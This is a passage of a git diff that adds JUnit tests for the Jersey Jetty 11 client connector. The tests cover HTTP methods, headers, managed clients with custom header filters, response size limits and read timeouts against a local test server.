target().path(ROOT_PATH).request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals("foo/bar", response.getMediaType().toString()); + assertEquals(0, response.getLength()); + } + + @Test + public void testTextPlainOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + final String responseBody = response.readEntity(String.class); + _checkAllowContent(responseBody); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + + @Test + public void testMissingResourceNotFound() { + Response response; + + response = target().path(ROOT_PATH + "arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + + response = target().path(ROOT_PATH).path("arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + } + + @Test + public void testLoggingFilterClientClass() { + Client client = client(); + client.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterClientInstance() { + Client client = client(); + client.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterTargetClass() { + WebTarget target = target().path(ROOT_PATH); + target.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterTargetInstance() { + WebTarget target = target().path(ROOT_PATH); + target.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testConfigurationUpdate() { + Client client1 = client(); + client1.register(CustomLoggingFilter.class).property("foo", "bar"); + + Client client = ClientBuilder.newClient(client1.getConfiguration()); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java new file mode 100644 index 00000000000..c40b8114a96 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java @@ -0,0 +1,101 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.List; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Tests the headers. + * + * @author Stepan Kopriva + */ +public class HttpHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java new file mode 100644 index 00000000000..eeafa010f3e --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java @@ -0,0 +1,256 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.io.IOException; +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.DynamicFeature; +import jakarta.ws.rs.container.ResourceInfo; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ClientBinding; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.Uri; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Jersey programmatic managed client test + * + * @author Marek Potociar + */ +public class ManagedClientTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName()); + + /** + * Managed client configuration for client A. + */ + @ClientBinding(configClass = MyClientAConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public static @interface ClientA { + } + + /** + * Managed client configuration for client B. + */ + @ClientBinding(configClass = MyClientBConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public @interface ClientB { + } + + /** + * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance + * to every method that is annotated with {@link Require @Require} internal feature + * annotation. + */ + public static class CustomHeaderFeature implements DynamicFeature { + + /** + * A method annotation to be placed on those resource methods to which a validating + * {@link CustomHeaderFilter} instance should be added. + */ + @Retention(RetentionPolicy.RUNTIME) + @Documented + @Target(ElementType.METHOD) + public static @interface Require { + + /** + * Expected custom header name to be validated by the {@link CustomHeaderFilter}. + */ + public String headerName(); + + /** + * Expected custom header value to be validated by the {@link CustomHeaderFilter}. + */ + public String headerValue(); + } + + @Override + public void configure(ResourceInfo resourceInfo, FeatureContext context) { + final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class); + if (va != null) { + context.register(new CustomHeaderFilter(va.headerName(), va.headerValue())); + } + } + } + + /** + * A filter for appending and validating custom headers. + *

    + * On the client side, appends a new custom request header with a configured name and value to each outgoing request. + *

    + *

    + * On the server side, validates that each request has a custom header with a configured name and value. + * If the validation fails a HTTP 403 response is returned. + *

    + */ + public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter { + + private final String headerName; + private final String headerValue; + + public CustomHeaderFilter(String headerName, String headerValue) { + if (headerName == null || headerValue == null) { + throw new IllegalArgumentException("Header name and value must not be null."); + } + this.headerName = headerName; + this.headerValue = headerValue; + } + + @Override + public void filter(ContainerRequestContext ctx) throws IOException { // validate + if (!headerValue.equals(ctx.getHeaderString(headerName))) { + ctx.abortWith(Response.status(Response.Status.FORBIDDEN) + .type(MediaType.TEXT_PLAIN) + .entity(String + .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue)) + .build()); + } + } + + @Override + public void filter(ClientRequestContext ctx) throws IOException { // append + ctx.getHeaders().putSingle(headerName, headerValue); + } + } + + /** + * Internal resource accessed from the managed client resource. + */ + @Path("internal") + public static class InternalResource { + + @GET + @Path("a") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a") + public String getA() { + return "a"; + } + + @GET + @Path("b") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b") + public String getB() { + return "b"; + } + } + + /** + * A resource that uses managed clients to retrieve values of internal + * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter} + * and require a specific custom header in a request to be set to a specific value. + *

    + * Properly configured managed clients have a {@code CustomHeaderFilter} instance + * configured to insert the {@link CustomHeaderFeature.Require required} custom header + * with a proper value into the outgoing client requests. + *

    + */ + @Path("public") + public static class PublicResource { + + @Uri("a") + @ClientA // resolves to /internal/a + private WebTarget targetA; + + @GET + @Produces("text/plain") + @Path("a") + public String getTargetA() { + return targetA.request(MediaType.TEXT_PLAIN).get(String.class); + } + + @GET + @Produces("text/plain") + @Path("b") + public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) { + return targetB.request(MediaType.TEXT_PLAIN).get(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class) + .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal"); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + public static class MyClientAConfig extends ClientConfig { + + public MyClientAConfig() { + this.register(new CustomHeaderFilter("custom-header", "a")); + } + } + + public static class MyClientBConfig extends ClientConfig { + + public MyClientBConfig() { + this.register(new CustomHeaderFilter("custom-header", "b")); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + /** + * Test that a connection via managed clients works properly. + * + * @throws Exception in case of test failure. + */ + @Test + public void testManagedClient() throws Exception { + final WebTarget resource = target().path("public").path("{name}"); + Response response; + + response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("a", response.readEntity(String.class)); + + response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("b", response.readEntity(String.class)); + } + +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java new file mode 100644 index 00000000000..dc366d16d98 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java @@ -0,0 +1,153 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.concurrent.ExecutionException; +import java.util.logging.Logger; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.PATCH; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.PUT; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Tests the Http methods. + * + * @author Stepan Kopriva + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class MethodTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class HttpMethodResource { + @GET + public String get() { + return "GET"; + } + + @POST + public String post(String entity) { + return entity; + } + + @PUT + public String put(String entity) { + return entity; + } + + @PATCH + public String patch(String entity) { + return entity; + } + + @DELETE + public String delete() { + return "DELETE"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testGet() { + Response response = target(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().get().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testPost() { + Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN)); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get(); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPut() { + Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testPutAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get(); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testDelete() { + Response response = target(PATH).request().delete(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testDeleteAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().delete().get(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testPatch() { + Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN)); + assertEquals("PATCH", response.readEntity(String.class)); + } + + @Test + public void testOptionsWithEntity() { + Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java new file mode 100644 index 00000000000..d4b3f2e2d06 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java @@ -0,0 +1,102 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.Response.Status; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class NoEntityTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @GET + public Response get() { + return Response.status(Status.CONFLICT).build(); + } + + @POST + public void post(String entity) { + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testGet() { + WebTarget r = target("test"); + + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testPost() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + } + } + + @Test + public void testPostWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + cr.close(); + } + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java new file mode 100644 index 00000000000..32c71bb3769 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java @@ -0,0 +1,171 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.net.URI; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * Default synchronous jetty client implementation has a hard response size limit of 2MiB. + * When response is too big, a processing exception is thrown. + * The original code path was left to preserve this behaviour but could be removed + * and reworked in the future with a custom listener like async path. + * + * This tests the previous behavior with large payloads (>2MiB), the new size override (4MiB) + * and very big payloads (>4MiB). + * + * @author cen1 (cen.is.imba at gmail.com) + */ +public class SyncResponseSizeTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName()); + + private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB + + @Path("/test") + public static class TimeoutResource { + + private static final byte[] data = new byte[maxBufferSize]; + + static { + Byte b = "a".getBytes()[0]; + for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue(); + } + + @GET + @Path("/small") + public String getSmall() { + return "GET"; + } + + @GET + @Path("/big") + public String getBig() { + return new String(data); + } + + @GET + @Path("/verybig") + public String getVeryBig() { + return new String(data) + "a"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testDefaultSmall() { + Response r = target("test/small").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDefaultTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyConnectorProvider()); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/big").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } + + @Test + public void testCustomBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + Response r = t.path("test/big").request().get(); + String p = r.readEntity(String.class); + assertEquals(p.length(), maxBufferSize); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testCustomTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/verybig").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java new file mode 100644 index 00000000000..cb8d0e28c6f --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java @@ -0,0 +1,245 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.net.URI; +import java.nio.charset.StandardCharsets; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import jakarta.ws.rs.DefaultValue; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.QueryParam; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.StreamingOutput; + +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * @author Martin Matula + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class TimeoutTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class TimeoutResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("timeout") + public String getTimeout() { + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return "GET"; + } + + /** + * Long-running streaming request + * + * @param count number of packets send + * @param pauseMillis pause between each packets + */ + @GET + @Path("stream") + public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count, + @QueryParam("pauseMillis") int pauseMillis) { + StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis); + + return Response.ok(streamingOutput) + .build(); + } + } + + private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) { + + return output -> { + try { + TimeUnit.MILLISECONDS.sleep(startMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + output.write("begin\n".getBytes(StandardCharsets.UTF_8)); + output.flush(); + for (int i = 0; i < count; i++) { + try { + TimeUnit.MILLISECONDS.sleep(pauseMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8)); + output.flush(); + } + output.write("end".getBytes(StandardCharsets.UTF_8)); + }; + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testFast() { + Response r = target("test").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testSlow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testTimeoutInRequest() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + 